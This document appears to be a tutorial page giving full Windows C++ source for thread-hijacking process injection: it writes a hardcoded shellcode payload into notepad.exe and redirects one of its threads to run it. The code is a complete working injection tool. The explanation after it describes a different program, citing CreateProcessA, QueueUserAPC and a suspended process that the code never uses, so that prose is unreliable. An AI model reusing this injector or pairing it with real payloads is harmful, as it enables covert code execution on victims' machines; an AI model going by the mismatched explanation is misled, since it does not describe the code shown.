Threat Hijacking Injection

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x00";
unsigned int payload_len = sizeof(payload);

// Function to get the Process ID (PID) by its name
int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get the first process entry in the snapshot
    if (Process32First(hSnap, &pe32) != FALSE) {
        // Iterate through the running processes to find the process with the specified name
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) {
                // Found the process with the matching name, store its PID
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

HANDLE FindThread(int pid) {
    HANDLE hThread = NULL;
    THREADENTRY32 thEntry;

    thEntry.dwSize = sizeof(thEntry);
    HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    while (Thread32Next(Snap, &thEntry)) {
        if (thEntry.th32OwnerProcessID == pid) {
            hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
            break;
        }
    }
    CloseHandle(Snap);
    return hThread;
}

int InjectCTX(int pid, HANDLE hProc, unsigned char* payload, unsigned int payload_len) {
    HANDLE hThread = NULL;
    LPVOID pRemoteCode = NULL;
    CONTEXT ctx;

    // Find a thread in the target process
    hThread = FindThread(pid);
    if (hThread == NULL) {
        printf("Error, hijack unsuccessful.\n");
        return -1;
    }

    // Perform payload injection
    pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);

    // Execute the payload by hijacking a thread in the target process
    SuspendThread(hThread);
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);
#ifdef _M_IX86
    ctx.Eip = (DWORD_PTR)pRemoteCode;
#else
    ctx.Rip = (DWORD_PTR)pRemoteCode;
#endif
    SetThreadContext(hThread, &ctx);
    return ResumeThread(hThread);
}

int main(void) {
    int pid = 0;
    HANDLE hProc = NULL;

    pid = getPIDbyProcName("notepad.exe");

    if (pid) {
        printf("Notepad.exe PID = %d\n", pid);

        hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
            PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
            FALSE, (DWORD)pid);

        if (hProc != NULL) {
            InjectCTX(pid, hProc, payload, payload_len);
            CloseHandle(hProc);
        }
    }
    return 0;
}
```

This code is a C++ program that demonstrates a process injection technique using shellcode to execute arbitrary code in a target process. Here's an explanation of what the code does:

1. **Header Files**: It includes two header files, `<windows.h>` and `<stdio.h>`, which are necessary for Windows API functions and standard I/O operations.
2. **Shellcode Definition**: The payload array contains a sequence of hexadecimal bytes. This array represents the shellcode that will be injected into a target process. Shellcode is typically used to perform various tasks like spawning a reverse shell, escalating privileges, or other actions.
3. **Payload Length**: `payload_len` stores the length of the `payload` array in bytes.
4. **Main Function**:
   - It initializes various variables and structures:
     - `pid` is not used in this code.
     - `HANDLE hProc` is used to hold a handle to the target process.
     - `STARTUPINFO si` and `PROCESS_INFORMATION pi` are structures required for process creation.
     - `void* newMemorySpace` will store the address of the allocated memory in the target process.
   - `ZeroMemory` is used to clear the memory of the `si` and `pi` structures to ensure they are initialized.
   - `CreateProcessA` is called to create a new process (`notepad.exe`) in a suspended state. This means the process will be created but not executed immediately.
   - `getchar()` is used to wait for user input, pausing the program until a key is pressed.
   - `VirtualAllocEx` allocates memory in the target process. `newMemorySpace` will hold the address of the allocated memory.
   - `WriteProcessMemory` is used to copy the `payload` into the allocated memory space within the target process.
   - `QueueUserAPC` is used to queue an asynchronous procedure call (APC). It schedules the execution of the shellcode by pointing to the `newMemorySpace` function within the target thread.
   - `ResumeThread` resumes the suspended target thread, allowing it to execute the injected shellcode.

In summary, this code is a demonstration of process injection, a common technique used in ethical hacking and security testing. It creates a new process (in this case, Notepad) in a suspended state, injects shellcode into it, and then resumes the process to execute the injected code. This technique is often used for security testing and improving system security but can be misused for malicious purposes.